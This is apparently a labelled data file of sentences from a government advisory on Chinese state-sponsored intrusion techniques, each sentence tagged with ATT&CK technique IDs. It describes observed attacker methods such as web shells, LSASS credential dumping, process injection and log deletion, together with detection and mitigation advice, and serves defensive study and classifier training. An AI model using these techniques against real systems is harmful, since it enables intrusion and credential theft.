{"sentence": "[TA0006].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for policy changes to authentication mechanisms used by the domain controller.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for modifications to functions exported from authentication DLLs (such as cryptdll.dll and samsrv.dll).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts (for example, one account logged into multiple systems simultaneously, multiple accounts logged into the same machine simultaneously, accounts logged in at odd times or outside of business hours).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for and correlate changes to Registry entries.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Process Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PA] User Behavior Analysis Authentication Event Thresholding", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-ANET] User Geolocation Logon Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-UGLPA] Server Software Component [T1505]: Web Shell [T1505.003] Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use Intrusion Detection Systems (IDS) to monitor for and identify China Chopper traffic using IDS signatures. Monitor and search for predictable China Chopper shell syntax to identify infected files on hosts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Perform integrity checks on critical servers to identify and investigate unexpected changes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Have application developers sign their code using digital signatures to verify their identity. Identify and remediate web application vulnerabilities or configuration weaknesses.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Employ regular updates to applications and host operating systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement a least-privilege policy on web servers to reduce adversaries’ ability to escalate privileges or pivot laterally to other hosts and control creation and execution of files in particular directories.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If not already present, consider deploying a DMZ between web-facing systems and the corporate network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure secure configuration of web servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "All unnecessary services and ports should be disabled or blocked.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Access to necessary services and ports should be restricted, where feasible.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This can include allowlisting or blocking external access to administration panels and not using default login credentials.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Establish, and backup offline, a “known good” version of the relevant server and a regular change management policy to enable monitoring for changes to servable content with a file integrity system.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Employ user input validation to restrict exploitation of vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Conduct regular system and application vulnerability scans to establish areas of risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "While this method does not protect against zero-day exploits, it will highlight possible areas of concern.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Per Host Download-Upload Ratio Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PHDURA] Process Analysis Process Spawn Analysis Process Lineage Analysis [D3-PLA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Create or Modify System Process", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1543]: Windows Service [T1543.003] Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence.", "labels": ["T1059.003", "T1543.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Privilege Escalation [TA0004].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Only allow authorized administrators to make service changes and modify service configurations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes and command-line arguments for actions that could create or modify services, especially if such modifications are unusual in your environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor WMI and PowerShell for service modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Process Analysis Process Spawn Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PSA] Tactics: Privilege Escalation [TA0004] Table VI: Chinese state-sponsored cyber actors’ Privilege Escalation TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Domain Policy Modification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1484] Group Policy Modification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1484.001] Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.", "labels": ["T1484.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005]. Identify and correct Group Policy Object (GPO) permissions abuse opportunities (e.g., GPO modification privileges) using auditing tools.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor directory service changes using Windows event logs to detect GPO modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Several events may be logged for such GPO modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Administrative Network Activity Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-ANAA] Platform Monitoring Operating System Monitoring System File Analysis [D3-SFA] Process Injection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1055]: Dynamic Link Library Injection [T1055.001] Portable Executable Injection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1055.002] Chinese state-sponsored cyber actors have been observed: Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.", "labels": ["T1003.001", "T1055"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Using shellcode that injects implants into newly created instances of the Service Host process (svchost)", "labels": ["T1055"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use endpoint protection software to block process injection based on behavior of the injection process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor DLL/Portable Executable (PE) file events, specifically creation of these binary files as well as the loading of DLLs into processes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for DLLs that are not recognized or not normally loaded into a process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for suspicious sequences of Windows API calls such as CreateRemoteThread, VirtualAllocEx, or WriteProcessMemory and analyze processes for unexpected or atypical behavior such as opening network connections or reading files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To minimize the probable impact of a threat actor using Mimikatz, always limit administrative privileges to only users who actually need it; upgrade Windows to at least version 8.1 or 10; run Local Security Authority Subsystem Service (LSASS) in protected mode on Windows 8.1 and higher; harden the local security authority (LSA) to prevent code injection.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Execution Isolation Hardware-based Process Isolation [D3-HBPI] Mandatory Access Control", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-MAC] Tactics: Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005] Table VII:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors’ Defensive Evasion TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Deobfuscate/Decode Files or Information [T1140] Chinese state-sponsored cyber actors were observed using the 7-Zip utility to unzip imported tools and malware files onto the victim device.", "labels": ["T1140"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider blocking, disabling, or monitoring use of 7-Zip. Detect:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Process Analysis Process Spawn Analysis [D3-PSA] Isolate: Execution Isolation Executable Denylisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EDL] Hide Artifacts", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1564] Chinese state-sponsored cyber actors were observed using benign executables which used DLL load-order hijacking to activate the malware installation process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts, such as executables using DLL load-order hijacking that can activate malware.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor event and authentication logs for records of hidden artifacts being used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor the file system and shell commands for hidden attribute usage.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Indicator Removal from Host [T1070] Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands.", "labels": ["T1070.004"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Make the environment variables associated with command history read only to ensure that the history is preserved.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Recognize timestomping by monitoring the contents of important directories and the attributes of the files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent users from deleting or writing to certain files to stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for command-line deletion functions to correlate with binaries or other files that an adversary may create and later remove.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor and record file access requests and file handles.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "An original file handle can be correlated to a compromise and inconsistencies between file timestamps and previous handles opened to them can be a detection rule.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Platform Monitoring Operating System Monitoring System File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SFA] Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Obfuscated Files or Information [T1027] Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.", "labels": ["T1027"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Signed Binary Proxy Execution", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1218] Mshta [T1218.005] Rundll32 [T1218.011] Chinese state-sponsored cyber actors were observed using Microsoft signed binaries, such as Rundll32, as a proxy to execute malicious payloads.", "labels": ["T1218.011"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes for the execution of known proxy binaries (e.g., rundll32.exe) and look for anomalous activity that does not follow historically good arguments and loaded DLLs associated with the invocation of the binary.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Tactics: Credential Access [TA0006] Table VIII:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors’ Credential Access TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Exploitation for", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Credential Access", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1212] Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Update and patch software regularly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use cyber threat intelligence and open-source reporting to determine vulnerabilities that threat actors may be actively targeting and exploiting; patch those vulnerabilities immediately.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening Software Update [D3-SU] Credential Hardening Multi-factor Authentication [D3-MFA] OS Credential Dumping [T1003] • LSASS Memory [T1003.001] • NTDS", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1003.003] Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.", "labels": ["T1003.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor process and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NDST.DIT.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Limit credential overlap across accounts and systems by training users and administrators not to use the same passwords for multiple accounts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider disabling or restricting NTLM.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider disabling WDigest authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that domain controllers are backed up and properly secured (e.g., encrypt backups).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement Credential Guard to protect the LSA secrets from credential dumping on Windows 10.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This is not configured by default and requires hardware and firmware system requirements.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enable Protected Process Light for LSA on Windows 8.1 and Windows Server 2012 R2.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden: Credential Hardening [D3-CH] Detect: Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] System Call Analysis [D3-SCA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Mandatory Access Control [D3-MAC] Tactics: Discovery [TA0007] Table IX: Chinese state-sponsored cyber actors’", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Discovery TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques File and Directory Discovery", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1083] Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.", "labels": ["T1083"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes and command-line arguments for actions that could be taken to gather system and network information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "WMI and PowerShell should also be monitored.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: User Behavior Analysis Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Process Analysis Database Query String Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-DQSA] File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Permission Group Discovery [T1069] Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Remote access tools with built-in features may interact directly with the Windows API to gather information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PSA] System Call Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SCA] User Behavior Analysis [D3-UBA] Process Discovery [T1057] Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices.", "labels": ["T1057"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SCA] User Behavior Analysis [D3-UBA] Network Service Scanning [T1046] Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Ensure that unnecessary ports and services are closed to prevent discovery and potential exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Use network intrusion detection and prevention systems to detect and prevent remote service scans such as Nbtscan or nmap.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Ensure proper network segmentation is followed to protect critical servers and devices to help mitigate potential exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-CAA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Remote System Discovery", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1018] Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information.", "labels": ["T1027"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PSA] User Behavior Analysis Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Tactics: Lateral Movement", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0008] Table X: Chinese state-sponsored cyber actors’ Lateral Movement TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques Exploitation of Remote Services [T1210] Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC).", "labels": ["T1078", "T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The actor may then perform actions as the logged-on user.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC).", "labels": ["T1078", "T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disable or remove unnecessary services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Minimize permissions and access for service accounts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Perform vulnerability scanning and update software regularly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use threat intelligence and open-source exploitation databases to determine services that are targets for exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Remote Terminal Session Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-RTSD] User Behavior Analysis [D3-UBA] Isolate: Execution Isolation Mandatory Access Control [D3-MAC] Tactics:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Collection [TA0009] Table XI: Chinese state-sponsored cyber actors’ Collection TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Archive Collected Data [T1560] Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Scan systems to identify unauthorized archival utilities or methods unusual for the environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor command-line arguments for known archival utilities that are not common in the organization's environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Isolate: Execution Isolation Executable Denylisting [D3-EDL] Clipboard Data [T1115] Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard.", "labels": ["T1021.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Access to the clipboard is a legitimate function of many applications on an operating system.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity (e.g. excessive use of pbcopy/pbpaste (Linux) or clip.exe (Windows) run by general users through command line).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If possible, disable use of RDP and other file sharing protocols to minimize a malicious actor's ability to exfiltrate data.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Remote Terminal Session Detection [D3-RTSD] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Outbound Traffic Filtering [D3-OTF] Data Staged [T1074] Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.", "labels": ["T1074.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as using 7-Zip, RAR, ZIP, or zlib.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Email Collection [T1114] Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Audit email auto-forwarding rules for suspicious or unrecognized rulesets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Encrypt email using public key cryptography, where feasible.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use MFA on public-facing mail servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
